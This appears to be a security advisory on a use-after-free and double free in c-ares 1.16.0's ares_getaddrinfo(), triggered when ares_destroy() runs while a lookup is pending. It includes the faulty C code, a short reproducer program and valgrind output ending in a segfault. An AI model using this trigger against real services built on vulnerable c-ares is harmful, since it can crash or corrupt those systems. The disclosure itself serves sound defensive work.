The following code was introduced in c-ares commit dbd4c441 (first released in 1.16.0, which was published on 2020-03-13), as part of the new ares_getaddrinfo() feature:


=========================================================
static void end_hquery(struct host_query *hquery, int status)
{
[...]
 hquery->callback(hquery->arg, status, hquery->timeouts, hquery->ai);
 ares_free(hquery->name);
 ares_free(hquery);
}

static void host_callback(void *arg, int status, int timeouts,
             unsigned char *abuf, int alen)
{
 struct host_query *hquery = (struct host_query*)arg;
 int addinfostatus = ARES_SUCCESS;
 [...]

 if (status == ARES_SUCCESS)
  [...]
 else if (status == ARES_EDESTRUCTION)
  {
   end_hquery(hquery, status);
  }

 if (!hquery->remaining)
  {
   if (addinfostatus != ARES_SUCCESS)
    [...]
   else if (hquery->ai->nodes)
    {
     /* at least one query ended with ARES_SUCCESS */
     end_hquery(hquery, ARES_SUCCESS);
    }
   else if (status == ARES_ENOTFOUND)
    [...]
   else
    {
     end_hquery(hquery, status);
    }
  }

 /* at this point we keep on waiting for the next query to finish */
}
=========================================================


In the ARES_EDESTRUCTION case, host_callback() ends up calling end_hquery() twice (unless it crashes before the second call), and the second call will, among other things, call a function pointer from freed memory and free the memory a second time.

Here's a reproducer:

=========================================================
#include <ares.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>

static void gai_cb(void *arg, int status, int timeouts,
         struct ares_addrinfo *result) {
 printf(\"gai_cb(): %s\
\", ares_strerror(status));
}

int main(void) {
 if (ares_library_init(ARES_LIB_INIT_ALL))
  errx(1, \"ares_library_init\");
 ares_channel chan;
 if (ares_init(&chan))
  errx(1, \"ares_init\");
 ares_getaddrinfo(chan, \"blah\", NULL, NULL, gai_cb, NULL);
 ares_destroy(chan);
 return 0;
}
=========================================================


Output (from a test against c-ares from Debian testing):

=========================================================
user@vm:~/test/cares-gai-destroy$ valgrind ./cares-gai-destroy-uaf 
==5248== Memcheck, a memory error detector
==5248== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==5248== Using Valgrind-3.14.0 and LibVEX; rerun with -h for copyright info
==5248== Command: ./cares-gai-destroy-uaf
==5248== 
gai_cb(): Channel is being destroyed
==5248== Invalid read of size 4
==5248==  at 0x485F56A: host_callback (ares_getaddrinfo.c:553)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248== 
==5248== Invalid read of size 4
==5248==  at 0x485F4CD: host_callback (ares_getaddrinfo.c:542)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248== 
==5248== Invalid read of size 4
==5248==  at 0x485F4D0: host_callback (ares_getaddrinfo.c:541)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4adec is 60 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248== 
==5248== Invalid write of size 4
==5248==  at 0x485F4D6: host_callback (ares_getaddrinfo.c:542)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248== 
==5248== Invalid read of size 8
==5248==  at 0x485F0BD: end_hquery (ares_getaddrinfo.c:394)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4adf8 is 72 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248== 
==5248== Invalid read of size 8
==5248==  at 0x485F05D: ares_freeaddrinfo (ares_freeaddrinfo.c:54)
==5248==  by 0x485F167: end_hquery (ares_getaddrinfo.c:423)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==5248== 
==5248== 
==5248== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==5248== Access not within mapped region at address 0x0
==5248==  at 0x485F05D: ares_freeaddrinfo (ares_freeaddrinfo.c:54)
==5248==  by 0x485F167: end_hquery (ares_getaddrinfo.c:423)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== If you believe this happened as a result of a stack
==5248== overflow in your program's main thread (unlikely but
==5248== possible), you can try to increase the size of the
==5248== main thread stack using the --main-stacksize= flag.
==5248== The main thread stack size used in this run was 8388608.
==5248== 
==5248== HEAP SUMMARY:
==5248==   in use at exit: 74,643 bytes in 7 blocks
==5248==  total heap usage: 29 allocs, 22 frees, 95,011 bytes allocated
==5248== 
==5248== LEAK SUMMARY:
==5248==  definitely lost: 0 bytes in 0 blocks
==5248==  indirectly lost: 0 bytes in 0 blocks
==5248==   possibly lost: 0 bytes in 0 blocks
==5248==  still reachable: 74,643 bytes in 7 blocks
==5248==     suppressed: 0 bytes in 0 blocks
==5248== Rerun with --leak-check=full to see details of leaked memory
==5248== 
==5248== For counts of detected and suppressed errors, rerun with: -v
==5248== ERROR SUMMARY: 7 errors from 6 contexts (suppressed: 0 from 0)
Segmentation fault
=========================================================

References:

https://packetstormsecurity.com/files/158755/GS20200804145053.txt